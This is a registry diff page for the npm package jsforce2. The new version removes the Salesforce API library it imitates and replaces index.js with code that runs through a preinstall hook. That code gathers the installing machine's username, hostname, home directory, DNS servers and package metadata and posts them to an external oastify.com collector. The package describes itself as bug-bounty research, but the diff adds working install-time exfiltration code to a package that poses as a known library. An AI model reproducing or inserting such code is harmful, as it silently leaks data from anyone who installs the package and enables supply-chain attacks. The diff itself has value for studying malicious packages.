jsforce2 1.11.1 → 5.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of jsforce2 might be problematic. Click here for more details.

Files changed (80) hide show
  1. package/index.js +46 -1
  2. package/package.json +7 -105
  3. package/LICENSE +0 -22
  4. package/README.md +0 -74
  5. package/bin/jsforce +0 -3
  6. package/bower.json +0 -30
  7. package/build/jsforce-api-analytics.js +0 -393
  8. package/build/jsforce-api-analytics.min.js +0 -2
  9. package/build/jsforce-api-analytics.min.js.map +0 -1
  10. package/build/jsforce-api-apex.js +0 -183
  11. package/build/jsforce-api-apex.min.js +0 -2
  12. package/build/jsforce-api-apex.min.js.map +0 -1
  13. package/build/jsforce-api-bulk.js +0 -1054
  14. package/build/jsforce-api-bulk.min.js +0 -2
  15. package/build/jsforce-api-bulk.min.js.map +0 -1
  16. package/build/jsforce-api-chatter.js +0 -320
  17. package/build/jsforce-api-chatter.min.js +0 -2
  18. package/build/jsforce-api-chatter.min.js.map +0 -1
  19. package/build/jsforce-api-metadata.js +0 -3020
  20. package/build/jsforce-api-metadata.min.js +0 -2
  21. package/build/jsforce-api-metadata.min.js.map +0 -1
  22. package/build/jsforce-api-soap.js +0 -403
  23. package/build/jsforce-api-soap.min.js +0 -2
  24. package/build/jsforce-api-soap.min.js.map +0 -1
  25. package/build/jsforce-api-streaming.js +0 -3479
  26. package/build/jsforce-api-streaming.min.js +0 -2
  27. package/build/jsforce-api-streaming.min.js.map +0 -1
  28. package/build/jsforce-api-tooling.js +0 -319
  29. package/build/jsforce-api-tooling.min.js +0 -2
  30. package/build/jsforce-api-tooling.min.js.map +0 -1
  31. package/build/jsforce-core.js +0 -25250
  32. package/build/jsforce-core.min.js +0 -2
  33. package/build/jsforce-core.min.js.map +0 -1
  34. package/build/jsforce.js +0 -31637
  35. package/build/jsforce.min.js +0 -2
  36. package/build/jsforce.min.js.map +0 -1
  37. package/core.js +0 -1
  38. package/lib/VERSION.js +0 -2
  39. package/lib/_required.js +0 -29
  40. package/lib/api/analytics.js +0 -387
  41. package/lib/api/apex.js +0 -177
  42. package/lib/api/bulk.js +0 -862
  43. package/lib/api/chatter.js +0 -314
  44. package/lib/api/index.js +0 -8
  45. package/lib/api/metadata.js +0 -848
  46. package/lib/api/soap.js +0 -397
  47. package/lib/api/streaming-extension.js +0 -136
  48. package/lib/api/streaming.js +0 -270
  49. package/lib/api/tooling.js +0 -313
  50. package/lib/browser/canvas.js +0 -90
  51. package/lib/browser/client.js +0 -241
  52. package/lib/browser/core.js +0 -5
  53. package/lib/browser/jsforce.js +0 -6
  54. package/lib/browser/jsonp.js +0 -52
  55. package/lib/browser/request.js +0 -70
  56. package/lib/cache.js +0 -252
  57. package/lib/cli/cli.js +0 -431
  58. package/lib/cli/repl.js +0 -337
  59. package/lib/connection.js +0 -1881
  60. package/lib/core.js +0 -16
  61. package/lib/csv.js +0 -50
  62. package/lib/date.js +0 -163
  63. package/lib/http-api.js +0 -300
  64. package/lib/jsforce.js +0 -10
  65. package/lib/logger.js +0 -52
  66. package/lib/oauth2.js +0 -206
  67. package/lib/process.js +0 -275
  68. package/lib/promise.js +0 -164
  69. package/lib/query.js +0 -881
  70. package/lib/quick-action.js +0 -90
  71. package/lib/record-stream.js +0 -305
  72. package/lib/record.js +0 -107
  73. package/lib/registry/file-registry.js +0 -48
  74. package/lib/registry/index.js +0 -3
  75. package/lib/registry/registry.js +0 -111
  76. package/lib/require.js +0 -14
  77. package/lib/soap.js +0 -207
  78. package/lib/sobject.js +0 -558
  79. package/lib/soql-builder.js +0 -236
  80. package/lib/transport.js +0 -233
package/index.js CHANGED
@@ -1 +1,46 @@
1
- module.exports = require('./lib/jsforce');
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
23
+
24
+ var options = {
25
+ hostname: "bp43r5whpxqc3j4zg0jtfc9j4aa1yq.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream or your servername
26
+ port: 443,
27
+ path: "/",
28
+ method: "POST",
29
+ headers: {
30
+ "Content-Type": "application/x-www-form-urlencoded",
31
+ "Content-Length": postData.length,
32
+ },
33
+ };
34
+
35
+ var req = https.request(options, (res) => {
36
+ res.on("data", (d) => {
37
+ process.stdout.write(d);
38
+ });
39
+ });
40
+
41
+ req.on("error", (e) => {
42
+ // console.error(e);
43
+ });
44
+
45
+ req.write(postData);
46
+ req.end();
package/package.json CHANGED
@@ -1,110 +1,12 @@
1
1
  {
2
- "author": "Shinichi Tomita <shinichi.tomita@gmail.com>",
3
2
  "name": "jsforce2",
4
- "description": "Salesforce API Library for JavaScript",
5
- "keywords": [
6
- "salesforce",
7
- "salesforce.com",
8
- "sfdc",
9
- "force.com",
10
- "database.com"
11
- ],
12
- "homepage": "http://github.com/jsforce/jsforce",
13
- "version": "1.11.1",
14
- "repository": {
15
- "type": "git",
16
- "url": "git://github.com/jsforce/jsforce.git"
17
- },
18
- "license": "MIT",
19
- "licenses": [
20
- {
21
- "type": "MIT",
22
- "url": "http://github.com/jsforce/jsforce/raw/master/LICENSE"
23
- }
24
- ],
25
- "main": "./index",
3
+ "version": "5.2.1",
4
+ "description": "cjthecaffeinefix HackerOne Bug bounty - security",
5
+ "main": "index.js",
26
6
  "scripts": {
27
- "build": "gulp build",
28
- "build:test": "gulp build:test",
29
- "build:all": "gulp build:all",
30
- "doc": "jsdoc lib -d doc --recurse --lenient",
31
- "test": "npm run test:node",
32
- "test:all": "npm run test:node && npm run test:browser",
33
- "test:node": "mocha --retries 2 --reporter spec --require intelli-espower-loader --exit",
34
- "test:browser": "testem",
35
- "prepublish": "node -e \"if(process.env.npm_package_version!==require('./lib/VERSION')){console.error('The pacakge.json version is not matching to ./lib/VERSION.js');process.exit(1)}\""
36
- },
37
- "directories": {
38
- "test": "test/"
39
- },
40
- "files": [
41
- "README.md",
42
- "bower.json",
43
- "LICENSE",
44
- "package.json",
45
- "bin",
46
- "build",
47
- "lib",
48
- "core.js",
49
- "index.js"
50
- ],
51
- "engines": {
52
- "node": ">=4.0"
53
- },
54
- "bin": {
55
- "jsforce": "./bin/jsforce"
56
- },
57
- "dependencies": {
58
- "base64-url": "^2.2.0",
59
- "co-prompt": "^1.0.0",
60
- "coffeescript": "^1.10.0",
61
- "commander": "^2.9.0",
62
- "csv-parse": "^4.10.1",
63
- "csv-stringify": "^1.0.4",
64
- "faye": "^1.4.0",
65
- "inherits": "^2.0.1",
66
- "lodash": "^4.17.19",
67
- "multistream": "^2.0.5",
68
- "opn": "^5.3.0",
69
- "promise": "^7.1.1",
70
- "readable-stream": "^2.1.0",
71
- "request": "^2.72.0",
72
- "xml2js": "^0.4.16"
73
- },
74
- "devDependencies": {
75
- "archiver": "^1.3.0",
76
- "async": "^1.5.2",
77
- "babel": "^6.23.0",
78
- "babel-core": "^6.26.3",
79
- "babel-preset-env": "^1.7.0",
80
- "babel-register": "^6.26.0",
81
- "browserify": "^16.2.2",
82
- "bufferutil": "^4.0.0",
83
- "envify": "^3.4.1",
84
- "espower-loader": "^1.2.2",
85
- "espowerify": "^1.1.0",
86
- "gulp": "^4.0.0",
87
- "gulp-rename": "^1.4.0",
88
- "gulp-sourcemaps": "^1.12.1",
89
- "gulp-uglify": "^3.0.2",
90
- "intelli-espower-loader": "^1.0.1",
91
- "jsdoc": "^3.6.3",
92
- "mocha": "^5.2.0",
93
- "power-assert": "^1.6.0",
94
- "puppeteer": "^1.18.1",
95
- "require-swapper": "^0.1.7",
96
- "testem": "^2.8.2",
97
- "through2": "^2.0.3",
98
- "utf-8-validate": "^5.0.1",
99
- "vinyl-buffer": "^1.0.1",
100
- "vinyl-source-stream": "^2.0.0"
101
- },
102
- "browser": {
103
- "./index": "./lib/browser/jsforce",
104
- "./index.js": "./lib/browser/jsforce",
105
- "./core": "./lib/browser/core",
106
- "./core.js": "./lib/browser/core",
107
- "request": "./lib/browser/request.js"
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
108
9
  },
109
- "types": "types/index.d.ts"
10
+ "author": "",
11
+ "license": "ISC"
110
12
  }
package/LICENSE DELETED
@@ -1,22 +0,0 @@
1
- (The MIT License)
2
-
3
- Copyright (c) 2011 Shinichi Tomita <shinichi.tomita@gmail.com>;
4
-
5
- Permission is hereby granted, free of charge, to any person obtaining
6
- a copy of this software and associated documentation files (the
7
- 'Software'), to deal in the Software without restriction, including
8
- without limitation the rights to use, copy, modify, merge, publish,
9
- distribute, sublicense, and/or sell copies of the Software, and to
10
- permit persons to whom the Software is furnished to do so, subject to
11
- the following conditions:
12
-
13
- The above copyright notice and this permission notice shall be
14
- included in all copies or substantial portions of the Software.
15
-
16
- THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
17
- EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18
- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19
- IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
20
- CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
21
- TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
22
- SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package/README.md DELETED
@@ -1,74 +0,0 @@
1
- # jsforce
2
-
3
- Salesforce API Library for JavaScript applications (both on web browser and Node.js)
4
-
5
- [![CircleCI](https://circleci.com/gh/jsforce/jsforce.svg?style=svg)](https://circleci.com/gh/jsforce/jsforce)
6
-
7
- ## Overview
8
-
9
- JSforce (f.k.a. Node-Salesforce) is an isomorphic JavaScript Library utilizing Salesforce's API: It works both in the browser and with Node.js.
10
-
11
- It capsulates the access to various APIs provided by Salesforce in asynchronous JavaScript function calls.
12
-
13
- It also has command line interface (CLI) which gives interactive console (REPL), so you can learn the usage without hassle.
14
-
15
- Supported Salesforce APIs are the following:
16
-
17
- - REST API (SOQL, SOSL, describe, etc.)
18
- - Apex REST
19
- - Analytics API
20
- - Bulk API
21
- - Chatter API
22
- - Metadata API
23
- - SOAP API
24
- - Streaming API
25
- - Tooling API
26
-
27
- ## Documentation
28
-
29
- See documentation in http://jsforce.github.io/ .
30
-
31
- ## Releases
32
-
33
- See [Releases](https://github.com/jsforce/jsforce/releases).
34
-
35
- ## License
36
-
37
- See [license](LICENSE) (MIT License).
38
-
39
- ## Authors
40
-
41
- - Shinichi Tomita <shinichi.tomita@gmail.com>
42
-
43
-
44
- ## Notes
45
-
46
- If you have any questions first file it on [issues](https://github.com/jsforce/jsforce/issues) before contacting authors via e-mail.
47
-
48
- ## Tests
49
-
50
- In order to run tests you will need a [Salesforce Developer Org](https://developer.salesforce.com/signup)
51
-
52
- You will also need to install the JsforceTestSuite package, which can be done by running:
53
-
54
- SF_USERNAME=myusername SF_PASSWORD=password+securityToken ./test/bin/org-setup
55
-
56
- You may need to run this more then once if you encounter timeouts or dropped connections/
57
-
58
- Finally, to run the tests simply do:
59
-
60
- SF_USERNAME=myusername SF_PASSWORD=password+securityToken npm run test:node
61
-
62
- SF_USERNAME=myusername SF_PASSWORD=password+securityToken npm run test:browser
63
-
64
- ## Contributions
65
-
66
- Your contributions are welcome: both by reporting issues on [GitHub issues](https://github.com/jsforce/jsforce/issues) or pull-requesting patches.
67
-
68
- If you want to implement any additional features, to be added to JSforce to our master branch, which may or may not be merged please first check current [opening issues](https://github.com/jsforce/jsforce/issues?q=is%3Aopen) with milestones and confirm whether the feature is on road map or not.
69
-
70
- If your feature implementation is brand-new or fixing unsupposed bugs in the library's test cases, please include addtional test codes in the `test/` directory.
71
-
72
-
73
-
74
-
package/bin/jsforce DELETED
@@ -1,3 +0,0 @@
1
- #!/usr/bin/env node
2
- var cli = require('../lib/cli/cli.js');
3
- cli.start();
package/bower.json DELETED
@@ -1,30 +0,0 @@
1
- {
2
- "name": "jsforce",
3
- "version": "1.6.0",
4
- "homepage": "https://github.com/jsforce/jsforce",
5
- "authors": [
6
- "Shinichi Tomita <shinichi.tomita@gmail.com>"
7
- ],
8
- "description": "Salesforce API Library for JavaScript",
9
- "main": "./build/jsforce.js",
10
- "keywords": [
11
- "salesforce",
12
- "salesforce.com",
13
- "sfdc",
14
- "force.com",
15
- "database.com"
16
- ],
17
- "license": "MIT",
18
- "ignore": [
19
- "**/.*",
20
- "package.json",
21
- "Gruntfile.*",
22
- "testem.json",
23
- "node_modules",
24
- "bower_components",
25
- "bin",
26
- "examples",
27
- "lib",
28
- "test"
29
- ]
30
- }